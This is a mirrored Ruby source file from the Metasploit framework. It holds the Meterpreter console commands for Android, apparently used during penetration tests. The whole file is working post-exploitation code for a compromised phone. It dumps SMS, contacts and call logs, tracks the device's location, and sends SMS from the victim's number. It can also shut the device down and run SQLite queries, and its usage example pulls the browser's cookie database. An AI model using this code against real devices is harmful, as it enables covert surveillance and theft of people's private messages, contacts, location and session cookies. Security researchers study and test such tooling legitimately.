Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

android.rb 17KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642
  1. # -*- coding: binary -*-
  2. require 'rex/post/meterpreter'
  3. require 'msf/core/auxiliary/report'
  4. require 'rex/google/geolocation'
  5. require 'date'
  6. module Rex
  7. module Post
  8. module Meterpreter
  9. module Ui
  10. ###
  11. # Android extension - set of commands to be executed on android devices.
  12. # extension by Anwar Mohamed (@anwarelmakrahy)
  13. ###
  14. class Console::CommandDispatcher::Android
  15. include Console::CommandDispatcher
  16. include Msf::Auxiliary::Report
  17. #
  18. # List of supported commands.
  19. #
  20. def commands
  21. all = {
  22. 'dump_sms' => 'Get sms messages',
  23. 'dump_contacts' => 'Get contacts list',
  24. 'geolocate' => 'Get current lat-long using geolocation',
  25. 'dump_calllog' => 'Get call log',
  26. 'check_root' => 'Check if device is rooted',
  27. 'device_shutdown' => 'Shutdown device',
  28. 'send_sms' => 'Sends SMS from target session',
  29. 'wlan_geolocate' => 'Get current lat-long using WLAN information',
  30. 'interval_collect' => 'Manage interval collection capabilities',
  31. 'activity_start' => 'Start an Android activity from a Uri string',
  32. 'sqlite_query' => 'Query a SQLite database from storage',
  33. 'set_audio_mode' => 'Set Ringer Mode'
  34. }
  35. reqs = {
  36. 'dump_sms' => ['dump_sms'],
  37. 'dump_contacts' => ['dump_contacts'],
  38. 'geolocate' => ['geolocate'],
  39. 'dump_calllog' => ['dump_calllog'],
  40. 'check_root' => ['check_root'],
  41. 'device_shutdown' => ['device_shutdown'],
  42. 'send_sms' => ['send_sms'],
  43. 'wlan_geolocate' => ['wlan_geolocate'],
  44. 'interval_collect' => ['interval_collect'],
  45. 'activity_start' => ['activity_start'],
  46. 'sqlite_query' => ['sqlite_query'],
  47. 'set_audio_mode' => ['set_audio_mode']
  48. }
  49. # Ensure any requirements of the command are met
  50. all.delete_if do |cmd, _desc|
  51. reqs[cmd].any? { |req| !client.commands.include?(req) }
  52. end
  53. end
  54. def interval_collect_usage
  55. print_line('Usage: interval_collect <parameters>')
  56. print_line
  57. print_line('Specifies an action to perform on a collector type.')
  58. print_line
  59. print_line(@@interval_collect_opts.usage)
  60. end
  61. def cmd_interval_collect(*args)
  62. @@interval_collect_opts ||= Rex::Parser::Arguments.new(
  63. '-h' => [false, 'Help Banner'],
  64. '-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"],
  65. '-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"],
  66. '-t' => [true, 'Collect poll timeout period in seconds (default: 30)']
  67. )
  68. opts = {
  69. action: nil,
  70. type: nil,
  71. timeout: 30
  72. }
  73. @@interval_collect_opts.parse(args) do |opt, idx, val|
  74. case opt
  75. when '-a'
  76. opts[:action] = val.downcase
  77. when '-c'
  78. opts[:type] = val.downcase
  79. when '-t'
  80. opts[:timeout] = val.to_i
  81. opts[:timeout] = 30 if opts[:timeout] <= 0
  82. end
  83. end
  84. unless client.android.collect_actions.include?(opts[:action])
  85. interval_collect_usage
  86. return
  87. end
  88. type = args.shift.downcase
  89. unless client.android.collect_types.include?(opts[:type])
  90. interval_collect_usage
  91. return
  92. end
  93. result = client.android.interval_collect(opts)
  94. if result[:headers].length > 0 && result[:entries].length > 0
  95. header = "Captured #{opts[:type]} data"
  96. if result[:timestamp]
  97. time = Time.at(result[:timestamp]).to_datetime
  98. header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}"
  99. end
  100. table = Rex::Text::Table.new(
  101. 'Header' => header,
  102. 'SortIndex' => 0,
  103. 'Columns' => result[:headers],
  104. 'Indent' => 0
  105. )
  106. result[:entries].each do |e|
  107. table << e
  108. end
  109. print_line
  110. print_line(table.to_s)
  111. else
  112. print_good('Interval action completed successfully')
  113. end
  114. end
  115. def cmd_device_shutdown(*args)
  116. seconds = 0
  117. device_shutdown_opts = Rex::Parser::Arguments.new(
  118. '-h' => [ false, 'Help Banner' ],
  119. '-t' => [ false, 'Shutdown after n seconds']
  120. )
  121. device_shutdown_opts.parse(args) do |opt, _idx, val|
  122. case opt
  123. when '-h'
  124. print_line('Usage: device_shutdown [options]')
  125. print_line('Shutdown device.')
  126. print_line(device_shutdown_opts.usage)
  127. return
  128. when '-t'
  129. seconds = val.to_i
  130. end
  131. end
  132. res = client.android.device_shutdown(seconds)
  133. if res
  134. print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
  135. else
  136. print_error('Device shutdown failed')
  137. end
  138. end
  139. def cmd_set_audio_mode(*args)
  140. help = false
  141. mode = 1
  142. set_audio_mode_opts = Rex::Parser::Arguments.new(
  143. '-h' => [ false, "Help Banner" ],
  144. '-m' => [ true, "Set Mode - (0 - Off, 1 - Normal, 2 - Max) (Default: '#{mode}')"]
  145. )
  146. set_audio_mode_opts.parse(args) do |opt, _idx, val|
  147. case opt
  148. when '-h'
  149. help = true
  150. when '-m'
  151. mode = val.to_i
  152. else
  153. help = true
  154. end
  155. end
  156. if help || mode < 0 || mode > 2
  157. print_line('Usage: set_audio_mode [options]')
  158. print_line('Set Ringer mode.')
  159. print_line(set_audio_mode_opts.usage)
  160. return
  161. end
  162. client.android.set_audio_mode(mode)
  163. print_status("Ringer mode was changed to #{mode}!")
  164. end
  165. def cmd_dump_sms(*args)
  166. path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
  167. dump_sms_opts = Rex::Parser::Arguments.new(
  168. '-h' => [ false, 'Help Banner' ],
  169. '-o' => [ true, 'Output path for sms list']
  170. )
  171. dump_sms_opts.parse(args) do |opt, _idx, val|
  172. case opt
  173. when '-h'
  174. print_line('Usage: dump_sms [options]')
  175. print_line('Get sms messages.')
  176. print_line(dump_sms_opts.usage)
  177. return
  178. when '-o'
  179. path = val
  180. end
  181. end
  182. sms_list = client.android.dump_sms
  183. if sms_list.count > 0
  184. print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
  185. begin
  186. info = client.sys.config.sysinfo
  187. data = ""
  188. data << "\n=====================\n"
  189. data << "[+] SMS messages dump\n"
  190. data << "=====================\n\n"
  191. time = Time.new
  192. data << "Date: #{time.inspect}\n"
  193. data << "OS: #{info['OS']}\n"
  194. data << "Remote IP: #{client.sock.peerhost}\n"
  195. data << "Remote Port: #{client.sock.peerport}\n\n"
  196. sms_list.each_with_index do |a, index|
  197. data << "##{index.to_i + 1}\n"
  198. type = 'Unknown'
  199. if a['type'] == '1'
  200. type = 'Incoming'
  201. elsif a['type'] == '2'
  202. type = 'Outgoing'
  203. end
  204. status = 'Unknown'
  205. if a['status'] == '-1'
  206. status = 'NOT_RECEIVED'
  207. elsif a['status'] == '1'
  208. status = 'SME_UNABLE_TO_CONFIRM'
  209. elsif a['status'] == '0'
  210. status = 'SUCCESS'
  211. elsif a['status'] == '64'
  212. status = 'MASK_PERMANENT_ERROR'
  213. elsif a['status'] == '32'
  214. status = 'MASK_TEMPORARY_ERROR'
  215. elsif a['status'] == '2'
  216. status = 'SMS_REPLACED_BY_SC'
  217. end
  218. data << "Type\t: #{type}\n"
  219. time = a['date'].to_i / 1000
  220. time = Time.at(time)
  221. data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
  222. data << "Address\t: #{a['address']}\n"
  223. data << "Status\t: #{status}\n"
  224. data << "Message\t: #{a['body']}\n\n"
  225. end
  226. ::File.write(path, data)
  227. print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")
  228. return true
  229. rescue
  230. print_error("Error getting messages: #{$ERROR_INFO}")
  231. return false
  232. end
  233. else
  234. print_status('No sms messages were found!')
  235. return false
  236. end
  237. end
  238. def cmd_dump_contacts(*args)
  239. path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
  240. dump_contacts_opts = Rex::Parser::Arguments.new(
  241. '-h' => [ false, 'Help Banner' ],
  242. '-o' => [ true, 'Output path for contacts list']
  243. )
  244. dump_contacts_opts.parse(args) do |opt, _idx, val|
  245. case opt
  246. when '-h'
  247. print_line('Usage: dump_contacts [options]')
  248. print_line('Get contacts list.')
  249. print_line(dump_contacts_opts.usage)
  250. return
  251. when '-o'
  252. path = val
  253. end
  254. end
  255. contact_list = client.android.dump_contacts
  256. if contact_list.count > 0
  257. print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
  258. begin
  259. info = client.sys.config.sysinfo
  260. data = ""
  261. data << "\n======================\n"
  262. data << "[+] Contacts list dump\n"
  263. data << "======================\n\n"
  264. time = Time.new
  265. data << "Date: #{time.inspect}\n"
  266. data << "OS: #{info['OS']}\n"
  267. data << "Remote IP: #{client.sock.peerhost}\n"
  268. data << "Remote Port: #{client.sock.peerport}\n\n"
  269. contact_list.each_with_index do |c, index|
  270. data << "##{index.to_i + 1}\n"
  271. data << "Name\t: #{c['name']}\n"
  272. c['number'].each do |n|
  273. data << "Number\t: #{n}\n"
  274. end
  275. c['email'].each do |n|
  276. data << "Email\t: #{n}\n"
  277. end
  278. data << "\n"
  279. end
  280. ::File.write(path, data)
  281. print_status("Contacts list saved to: #{path}")
  282. return true
  283. rescue
  284. print_error("Error getting contacts list: #{$ERROR_INFO}")
  285. return false
  286. end
  287. else
  288. print_status('No contacts were found!')
  289. return false
  290. end
  291. end
  292. def cmd_geolocate(*args)
  293. generate_map = false
  294. geolocate_opts = Rex::Parser::Arguments.new(
  295. '-h' => [ false, 'Help Banner' ],
  296. '-g' => [ false, 'Generate map using google-maps']
  297. )
  298. geolocate_opts.parse(args) do |opt, _idx, _val|
  299. case opt
  300. when '-h'
  301. print_line('Usage: geolocate [options]')
  302. print_line('Get current location using geolocation.')
  303. print_line(geolocate_opts.usage)
  304. return
  305. when '-g'
  306. generate_map = true
  307. end
  308. end
  309. geo = client.android.geolocate
  310. print_status('Current Location:')
  311. print_line("\tLatitude: #{geo[0]['lat']}")
  312. print_line("\tLongitude: #{geo[0]['long']}\n")
  313. print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")
  314. if generate_map
  315. link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
  316. print_status("Generated map on google-maps:")
  317. print_status(link)
  318. Rex::Compat.open_browser(link)
  319. end
  320. end
  321. def cmd_dump_calllog(*args)
  322. path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
  323. dump_calllog_opts = Rex::Parser::Arguments.new(
  324. '-h' => [ false, 'Help Banner' ],
  325. '-o' => [ true, 'Output path for call log']
  326. )
  327. dump_calllog_opts.parse(args) do |opt, _idx, val|
  328. case opt
  329. when '-h'
  330. print_line('Usage: dump_calllog [options]')
  331. print_line('Get call log.')
  332. print_line(dump_calllog_opts.usage)
  333. return
  334. when '-o'
  335. path = val
  336. end
  337. end
  338. log = client.android.dump_calllog
  339. if log.count > 0
  340. print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
  341. begin
  342. info = client.sys.config.sysinfo
  343. data = ""
  344. data << "\n=================\n"
  345. data << "[+] Call log dump\n"
  346. data << "=================\n\n"
  347. time = Time.new
  348. data << "Date: #{time.inspect}\n"
  349. data << "OS: #{info['OS']}\n"
  350. data << "Remote IP: #{client.sock.peerhost}\n"
  351. data << "Remote Port: #{client.sock.peerport}\n\n"
  352. log.each_with_index do |a, index|
  353. data << "##{index.to_i + 1}\n"
  354. data << "Number\t: #{a['number']}\n"
  355. data << "Name\t: #{a['name']}\n"
  356. data << "Date\t: #{a['date']}\n"
  357. data << "Type\t: #{a['type']}\n"
  358. data << "Duration: #{a['duration']}\n\n"
  359. end
  360. ::File.write(path, data)
  361. print_status("Call log saved to #{path}")
  362. return true
  363. rescue
  364. print_error("Error getting call log: #{$ERROR_INFO}")
  365. return false
  366. end
  367. else
  368. print_status('No call log entries were found!')
  369. return false
  370. end
  371. end
  372. def cmd_check_root(*args)
  373. check_root_opts = Rex::Parser::Arguments.new(
  374. '-h' => [ false, 'Help Banner' ]
  375. )
  376. check_root_opts.parse(args) do |opt, _idx, _val|
  377. case opt
  378. when '-h'
  379. print_line('Usage: check_root [options]')
  380. print_line('Check if device is rooted.')
  381. print_line(check_root_opts.usage)
  382. return
  383. end
  384. end
  385. is_rooted = client.android.check_root
  386. if is_rooted
  387. print_good('Device is rooted')
  388. else
  389. print_status('Device is not rooted')
  390. end
  391. end
  392. def cmd_send_sms(*args)
  393. send_sms_opts = Rex::Parser::Arguments.new(
  394. '-h' => [ false, 'Help Banner' ],
  395. '-d' => [ true, 'Destination number' ],
  396. '-t' => [ true, 'SMS body text' ],
  397. '-dr' => [ false, 'Wait for delivery report' ]
  398. )
  399. dest = ''
  400. body = ''
  401. dr = false
  402. send_sms_opts.parse(args) do |opt, _idx, val|
  403. case opt
  404. when '-h'
  405. print_line('Usage: send_sms -d <number> -t <sms body>')
  406. print_line('Sends SMS messages to specified number.')
  407. print_line(send_sms_opts.usage)
  408. return
  409. when '-d'
  410. dest = val
  411. when '-t'
  412. body = val
  413. when '-dr'
  414. dr = true
  415. end
  416. end
  417. if dest.to_s.empty? || body.to_s.empty?
  418. print_error("You must enter both a destination address -d and the SMS text body -t")
  419. print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
  420. print_line(send_sms_opts.usage)
  421. return
  422. end
  423. sent = client.android.send_sms(dest, body, dr)
  424. if dr
  425. if sent[0] == "Transmission successful"
  426. print_good("SMS sent - #{sent[0]}")
  427. else
  428. print_error("SMS send failed - #{sent[0]}")
  429. end
  430. if sent[1] == "Transmission successful"
  431. print_good("SMS delivered - #{sent[1]}")
  432. else
  433. print_error("SMS delivery failed - #{sent[1]}")
  434. end
  435. else
  436. if sent == "Transmission successful"
  437. print_good("SMS sent - #{sent}")
  438. else
  439. print_error("SMS send failed - #{sent}")
  440. end
  441. end
  442. end
  443. def cmd_wlan_geolocate(*args)
  444. wlan_geolocate_opts = Rex::Parser::Arguments.new(
  445. '-h' => [ false, 'Help Banner' ]
  446. )
  447. wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
  448. case opt
  449. when '-h'
  450. print_line('Usage: wlan_geolocate')
  451. print_line('Tries to get device geolocation from WLAN information and Google\'s API')
  452. print_line(wlan_geolocate_opts.usage)
  453. return
  454. end
  455. end
  456. log = client.android.wlan_geolocate
  457. wlan_list = []
  458. log.each do |x|
  459. mac = x['bssid']
  460. ssid = x['ssid']
  461. ss = x['level']
  462. wlan_list << [mac, ssid, ss.to_s]
  463. end
  464. if wlan_list.to_s.empty?
  465. print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
  466. return
  467. end
  468. g = Rex::Google::Geolocation.new
  469. wlan_list.each do |wlan|
  470. g.add_wlan(*wlan)
  471. end
  472. begin
  473. g.fetch!
  474. rescue RuntimeError => e
  475. print_error("Error: #{e}")
  476. else
  477. print_status(g.to_s)
  478. print_status("Google Maps URL: #{g.google_maps_url}")
  479. end
  480. end
  481. def cmd_activity_start(*args)
  482. if (args.length < 1)
  483. print_line("Usage: activity_start <uri>\n")
  484. print_line("Start an Android activity from a uri")
  485. return
  486. end
  487. uri = args[0]
  488. result = client.android.activity_start(uri)
  489. if result.nil?
  490. print_status("Intent started")
  491. else
  492. print_error("Error: #{result}")
  493. end
  494. end
  495. def cmd_sqlite_query(*args)
  496. sqlite_query_opts = Rex::Parser::Arguments.new(
  497. '-h' => [ false, 'Help Banner' ],
  498. '-d' => [ true, 'The sqlite database file'],
  499. '-q' => [ true, 'The sqlite statement to execute'],
  500. '-w' => [ false, 'Open the database in writable mode (for INSERT/UPDATE statements)']
  501. )
  502. writeable = false
  503. database = ''
  504. query = ''
  505. sqlite_query_opts.parse(args) do |opt, _idx, val|
  506. case opt
  507. when '-h'
  508. print_line("Usage: sqlite_query -d <database_file> -q <statement>\n")
  509. print_line(sqlite_query_opts.usage)
  510. return
  511. when '-d'
  512. database = val
  513. when '-q'
  514. query = val
  515. when '-w'
  516. writeable = true
  517. end
  518. end
  519. if database.blank? || query.blank?
  520. print_error("You must enter both a database files and a query")
  521. print_error("e.g. sqlite_query -d /data/data/com.android.browser/databases/webviewCookiesChromium.db -q 'SELECT * from cookies'")
  522. print_line(sqlite_query_opts.usage)
  523. return
  524. end
  525. result = client.android.sqlite_query(database, query, writeable)
  526. unless writeable
  527. header = "#{query} on database file #{database}"
  528. table = Rex::Text::Table.new(
  529. 'Header' => header,
  530. 'Columns' => result[:columns],
  531. 'Indent' => 0
  532. )
  533. result[:rows].each do |e|
  534. table << e
  535. end
  536. print_line
  537. print_line(table.to_s)
  538. end
  539. end
  540. #
  541. # Name for this dispatcher
  542. #
  543. def name
  544. 'Android'
  545. end
  546. end
  547. end
  548. end
  549. end
  550. end